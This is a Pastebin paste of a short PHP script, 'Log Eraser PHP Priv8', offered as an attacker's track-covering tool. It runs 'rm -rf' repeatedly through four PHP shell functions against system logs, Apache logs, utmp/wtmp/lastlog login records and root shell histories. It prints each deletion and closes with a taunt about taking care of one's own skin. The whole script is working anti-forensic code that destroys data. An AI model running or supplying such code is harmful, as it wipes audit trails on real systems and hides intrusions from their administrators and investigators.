Dr-L0v3

Log Eraser

Jan 25th, 2018
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.61 KB | None | 0 0
  1. <?php
  2. @error_reporting(0);
  3. set_time_limit(0);
  4. system("clear");
  5.  
  6. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  7. print "|Log Eraser PHP Priv8                               |\n";
  8. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  9.  
  10. sleep(1);  
  11. print "\n Logs Eraser Started...\!/";
  12. sleep(2);
  13.  
  14.  
  15.  
  16. {
  17.  
  18. exec("rm -rf /tmp/logs");
  19. exec("rm -rf /root/.ksh_history");
  20. exec("rm -rf /root/.bash_history");
  21. exec("rm -rf /root/.bash_logout");
  22. exec("rm -rf /usr/local/apache/logs");
  23. exec("rm -rf /usr/local/apache/log");
  24. exec("rm -rf /var/apache/logs");
  25. exec("rm -rf /var/apache/log");
  26. exec("rm -rf /var/run/utmp");
  27. exec("rm -rf /var/logs");
  28. exec("rm -rf /var/log");
  29. exec("rm -rf /var/adm");
  30. exec("rm -rf /etc/wtmp");
  31. exec("rm -rf /etc/utmp");
  32. exec("rm -rf $HISTFILE");
  33. exec("rm -rf /var/log/lastlog");
  34. exec("rm -rf /var/log/wtmp");
  35.  
  36. shell_exec("rm -rf /tmp/logs");
  37. shell_exec("rm -rf /root/.ksh_history");
  38. shell_exec("rm -rf /root/.bash_history");
  39. shell_exec("rm -rf /root/.bash_logout");
  40. shell_exec("rm -rf /usr/local/apache/logs");
  41. shell_exec("rm -rf /usr/local/apache/log");
  42. shell_exec("rm -rf /var/apache/logs");
  43. shell_exec("rm -rf /var/apache/log");
  44. shell_exec("rm -rf /var/run/utmp");
  45. shell_exec("rm -rf /var/logs");
  46. shell_exec("rm -rf /var/log");
  47. shell_exec("rm -rf /var/adm");
  48. shell_exec("rm -rf /etc/wtmp");
  49. shell_exec("rm -rf /etc/utmp");
  50. shell_exec("rm -rf $HISTFILE");
  51. shell_exec("rm -rf /var/log/lastlog");
  52. shell_exec("rm -rf /var/log/wtmp");
  53.  
  54. passthru("rm -rf /tmp/logs");
  55. passthru("rm -rf /root/.ksh_history");
  56. passthru("rm -rf /root/.bash_history");
  57. passthru("rm -rf /root/.bash_logout");
  58. passthru("rm -rf /usr/local/apache/logs");
  59. passthru("rm -rf /usr/local/apache/log");
  60. passthru("rm -rf /var/apache/logs");
  61. passthru("rm -rf /var/apache/log");
  62. passthru("rm -rf /var/run/utmp");
  63. passthru("rm -rf /var/logs");
  64. passthru("rm -rf /var/log");
  65. passthru("rm -rf /var/adm");
  66. passthru("rm -rf /etc/wtmp");
  67. passthru("rm -rf /etc/utmp");
  68. passthru("rm -rf $HISTFILE");
  69. passthru("rm -rf /var/log/lastlog");
  70. passthru("rm -rf /var/log/wtmp");
  71.  
  72.  
  73. system("rm -rf /tmp/logs");
  74. sleep(2);
  75. print "Deleted [+].../tmp/logs \n";
  76. sleep(2);
  77.  
  78. system("rm -rf /root/.bash_history");
  79. sleep(2);
  80. print "Deleted [+].../root/.bash_history \n";
  81.  
  82. system("rm -rf /root/.ksh_history");
  83. sleep(2);
  84. print "Deleted [+].../root/.ksh_history \n";
  85.  
  86. system("rm -rf /root/.bash_logout");
  87. sleep(2);
  88. print "Deleted [+].../root/.bash_logout \n";
  89.  
  90. system("rm -rf /usr/local/apache/logs");
  91. sleep(2);
  92. print"Deleted [+].../usr/local/apache/logs \n";
  93.  
  94. system("rm -rf /usr/local/apache/log");
  95. sleep(2);
  96. print"Deleted [+].../usr/local/apache/log \n";
  97.  
  98. system("rm -rf /var/apache/logs");
  99. sleep(2);
  100. print"Deleted [+].../var/apache/logs \n";
  101.  
  102. system("rm -rf /var/apache/log");
  103. sleep(2);
  104. print"Deleted [+].../var/apache/log \n";
  105.  
  106. system("rm -rf /var/run/utmp");
  107. sleep(2);
  108. print"Deleted [+].../var/run/utmp \n";
  109.  
  110. system("rm -rf /var/logs");
  111. sleep(2);
  112. print"Deleted [+].../var/logs \n";
  113.  
  114. system("rm -rf /var/log");
  115. sleep(2);
  116. print"Deleted [+].../var/log \n";
  117.  
  118. system("rm -rf /var/adm");
  119. sleep(2);
  120. print"Deleted [+].../var/adm \n";
  121.  
  122. system("rm -rf /etc/wtmp");
  123. sleep(2);
  124. print"Deleted [+].../etc/wtmp \n";
  125.  
  126. system("rm -rf /etc/utmp");
  127. sleep(2);
  128. print"Deleted [+].../etc/utmp \n";
  129.  
  130. system("rm -rf $HISTFILE");
  131. sleep(2);
  132. print"Deleted [+]...$HISTFILE \n";
  133.  
  134. system("rm -rf /var/log/lastlog");
  135. sleep(2);
  136. print"Deleted [+].../var/log/lastlog \n";
  137.  
  138. system("rm -rf /var/log/wtmp");
  139. sleep(2);
  140. print"Deleted [+].../var/log/wtmp \n";
  141.  
  142. sleep(4);
  143.  
  144. print "Take Care of Your Ass !!! :D \n";
  145.  
  146. }
  147. ?>
Advertisement
Add Comment
Please, Sign In to add comment